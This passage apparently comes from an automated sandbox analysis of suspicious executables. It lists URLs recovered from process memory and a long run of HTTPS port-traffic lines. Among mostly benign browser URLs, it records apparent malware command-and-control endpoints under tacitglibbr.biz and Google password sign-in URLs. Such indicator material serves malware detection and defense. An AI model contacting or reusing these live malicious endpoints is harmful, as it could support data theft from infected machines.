Source: 90c05232da.exe, 00000011.00000003.2995866523.00000000008AB000.00000004.00000020.00020000.00000000.sdmp, 90c05232da.exe, 00000011.00000003.3018973506.00000000008B0000.00000004.00000020.00020000.00000000.sdmp, 90c05232da.exe, 00000011.00000003.2995774052.00000000008A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tacitglibbr.biz/apiwDnl
Source: 90c05232da.exe, 00000011.00000003.3018973506.00000000008B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tacitglibbr.biz/dsTvq
Source: 90c05232da.exe, 00000014.00000002.3076095968.0000000000C89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tacitglibbr.biz/j
Source: 90c05232da.exe, 00000011.00000003.3018973506.00000000008B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tacitglibbr.biz/s
Source: 90c05232da.exe, 00000014.00000002.3076095968.0000000000C89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tacitglibbr.biz:443/api
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://token.services.mozilla.com/1.0/sync/1.5
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://topsites.services.mozilla.com/cid/
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tracking-protection-issues.herokuapp.com/new
Source: firefox.exe, 00000024.00000002.3270210836.0000028B38CFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://truecolors.firefox.com
Source: firefox.exe, 00000024.00000002.3254112758.0000028B37600000.00000002.00000001.00040000.00000019.sdmp	String found in binary or memory: https://twitter.com
Source: firefox.exe, 00000024.00000002.3368595226.0000028B435DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID
Source: firefox.exe, 00000024.00000002.3325427909.0000028B3D14E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-%CHANNEL%-browser&utm_campaig
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campaign=about-pr
Source: firefox.exe, 00000024.00000002.3319097679.0000028B3C5CB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://watch.sling.com/
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webcompat.com/issues/new
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webextensions.settings.services.mozilla.com/v1
Source: firefox.exe, 00000024.00000002.3238840239.0000028B37324000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://webpack.js.org/concepts/mode/)
Source: firefox.exe, 00000024.00000002.3287996082.0000028B3A94E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3325427909.0000028B3D14E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3257337138.0000028B38229000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://weibo.com/
Source: firefox.exe, 00000024.00000002.3325427909.0000028B3D14E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.aliexpress.com/
Source: firefox.exe, 00000024.00000002.3368595226.0000028B435DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/
Source: 90c05232da.exe, 00000011.00000003.2968055003.0000000005686000.00000004.00000800.00020000.00000000.sdmp, ba324316e4.exe, 00000012.00000002.3518847270.000000000BB82000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3231212215.0000028B365AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3257337138.0000028B3823B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: firefox.exe, 00000024.00000002.3377476059.0000028B438BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/Transaction/this._completionPromise
Source: firefox.exe, 00000024.00000002.3325427909.0000028B3D14E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.avito.ru/
Source: firefox.exe, 00000024.00000002.3379908173.0000028B43983000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3325427909.0000028B3D14E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.baidu.com/
Source: firefox.exe, 00000024.00000002.3379908173.0000028B43983000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3325427909.0000028B3D14E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ctrip.com/
Source: firefox.exe, 00000024.00000002.3379908173.0000028B43983000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ebay.co.uk/
Source: 90c05232da.exe, 00000011.00000003.2908620157.00000000056BD000.00000004.00000800.00020000.00000000.sdmp, 90c05232da.exe, 00000011.00000003.2908868653.00000000056BB000.00000004.00000800.00020000.00000000.sdmp, ba324316e4.exe, 00000012.00000003.3133729628.0000000001490000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: firefox.exe, 00000024.00000002.3379908173.0000028B43983000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3257337138.0000028B38229000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: firefox.exe, 00000024.00000002.3379908173.0000028B43983000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search
Source: firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000003.3106495286.0000028B3AA00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: 90c05232da.exe, 00000011.00000003.2908620157.00000000056BD000.00000004.00000800.00020000.00000000.sdmp, 90c05232da.exe, 00000011.00000003.2908868653.00000000056BB000.00000004.00000800.00020000.00000000.sdmp, ba324316e4.exe, 00000012.00000003.3133729628.0000000001490000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: firefox.exe, 00000024.00000002.3254112758.0000028B37600000.00000002.00000001.00040000.00000019.sdmp	String found in binary or memory: https://www.google.com/policies/privacy/2
Source: firefox.exe, 00000024.00000002.3379908173.0000028B43983000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000003.3106495286.0000028B3AA00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3296809741.0000028B3B368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/searchget
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/geolocation/v1/geolocate?key=%GOOGLE_LOCATION_SERVICE_API_KEY%
Source: firefox.exe, 00000024.00000002.3325427909.0000028B3D14E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ifeng.com/
Source: firefox.exe, 00000024.00000002.3325427909.0000028B3D14E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.iqiyi.com/
Source: 90c05232da.exe, 00000011.00000003.2967338504.00000000056AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.or
Source: 90c05232da.exe, 00000011.00000003.2967338504.00000000056AA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3254112758.0000028B37600000.00000002.00000001.00040000.00000019.sdmp, firefox.exe, 00000024.00000002.3257337138.0000028B3823B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3214474042.000000D5870FC000.00000004.00000010.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3336918479.0000028B3D4B6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3394093256.00000BEE80004000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: firefox.exe, 00000024.00000002.3379908173.0000028B43911000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/about/legal/terms/subscription-services/
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/releasenotes/?utm_source=firefox-browser&utm_medi
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/tour/
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/geolocation/
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/new?reason=manual-update
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/notes
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/set-as-default/thanks/
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/xr/
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/privacy/subscription-services/
Source: ba324316e4.exe, 00000012.00000002.3502074950.0000000000934000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: ba324316e4.exe, 00000012.00000002.3502074950.0000000000934000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://www.mozilla.org/about/ECBGCBGDHCAF
Source: ba324316e4.exe, 00000012.00000003.3411754978.000000000BDEF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: firefox.exe, 00000024.00000003.3174425220.0000028B3C21E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/legal/terms/mozilla/
Source: ba324316e4.exe, 00000012.00000002.3502074950.0000000000934000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: ba324316e4.exe, 00000012.00000002.3502074950.0000000000934000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: ba324316e4.exe, 00000012.00000003.3411754978.000000000BDEF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: ba324316e4.exe, 00000012.00000002.3502074950.0000000000934000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/vchost.exe
Source: ba324316e4.exe, 00000012.00000003.3411754978.000000000BDEF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/android/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/ios/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campa
Source: firefox.exe, 00000024.00000002.3254112758.0000028B37600000.00000002.00000001.00040000.00000019.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/new/
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#crash-reporter
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#health-report
Source: firefox.exe, 00000024.00000002.3227943348.0000028B2AEA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 00000024.00000002.3214474042.000000D5870FC000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.orgo
Source: firefox.exe, 00000024.00000002.3397874978.00002833AB504000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com6
Source: firefox.exe, 00000024.00000002.3257337138.0000028B38229000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.olx.pl/
Source: firefox.exe, 00000024.00000002.3238840239.0000028B373B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.openh264.org/
Source: firefox.exe, 00000024.00000002.3254112758.0000028B37600000.00000002.00000001.00040000.00000019.sdmp	String found in binary or memory: https://www.openh264.org//
Source: firefox.exe, 00000024.00000002.3368595226.0000028B435DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/
Source: firefox.exe, 00000024.00000002.3392785281.00000BB71F300000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3319097679.0000028B3C5CB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.sling.com/
Source: 90c05232da.exe, 00000011.00000003.2968055003.0000000005686000.00000004.00000800.00020000.00000000.sdmp, ba324316e4.exe, 00000012.00000002.3518847270.000000000BB82000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3231212215.0000028B365AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3257337138.0000028B3823B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_
Source: firefox.exe, 00000024.00000002.3397874978.00002833AB504000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.tsn.caResour
Source: firefox.exe, 00000024.00000002.3254112758.0000028B37600000.00000002.00000001.00040000.00000019.sdmp	String found in binary or memory: https://www.widevine.com/3
Source: firefox.exe, 00000024.00000002.3368595226.0000028B435DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 00000024.00000002.3325427909.0000028B3D14E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3257337138.0000028B38229000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zhihu.com/
Source: firefox.exe, 00000024.00000002.3254112758.0000028B37600000.00000002.00000001.00040000.00000019.sdmp	String found in binary or memory: https://yandex.com
Source: firefox.exe, 00000024.00000002.3328541386.0000028B3D28D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3316730011.0000028B3C3C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com
Source: firefox.exe, 00000024.00000002.3328541386.0000028B3D28D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3367174181.0000028B4341B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/
Source: firefox.exe, 00000024.00000002.3328541386.0000028B3D28D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account
Source: firefox.exe, 00000024.00000002.3328541386.0000028B3D21A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3225255924.0000028B2AAD9000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3363060272.0000028B3F003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 00000022.00000002.3090876087.000001820981E000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3099987897.000001A95BE8F000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3225255924.0000028B2AAD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser
Source: firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdPlease
Source: firefox.exe, 00000024.00000002.3225255924.0000028B2AAD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdf

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50177
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50180
Source: unknown	Network traffic detected: HTTP traffic on port 50263 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50154 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50182
Source: unknown	Network traffic detected: HTTP traffic on port 50286 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50181
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50184
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50183
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50177 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50257 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50251 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50165 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50186
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50185
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50113 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50188
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50187
Source: unknown	Network traffic detected: HTTP traffic on port 50205 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50183 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 50268 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50195
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50204 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 50252 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50195 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50147 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50198
Source: unknown	Network traffic detected: HTTP traffic on port 50246 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50142 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 50136 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 50210 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50139
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50138
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50259
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50149 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50252
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50251
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50133
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50254
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50132
Source: unknown	Network traffic detected: HTTP traffic on port 50187 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50253
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50256
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50134
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50255
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50137
Source: unknown	Network traffic detected: HTTP traffic on port 50221 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50136
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50257
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50261
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50260
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50215 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50253 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50144 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50149
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50142
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50263
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50141
Source: unknown	Network traffic detected: HTTP traffic on port 50209 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50144
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50143
Source: unknown	Network traffic detected: HTTP traffic on port 50247 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50264
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50267
Source: unknown	Network traffic detected: HTTP traffic on port 50226 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50266
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50147
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50268
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50264 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50151
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50272
Source: unknown	Network traffic detected: HTTP traffic on port 50138 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50150
Source: unknown	Network traffic detected: HTTP traffic on port 50103 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 50166 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50143 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50273
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50276
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50154
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50157
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50277
Source: unknown	Network traffic detected: HTTP traffic on port 50208 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50182 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50137 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50283
Source: unknown	Network traffic detected: HTTP traffic on port 50259 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50236 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50089 -> 443
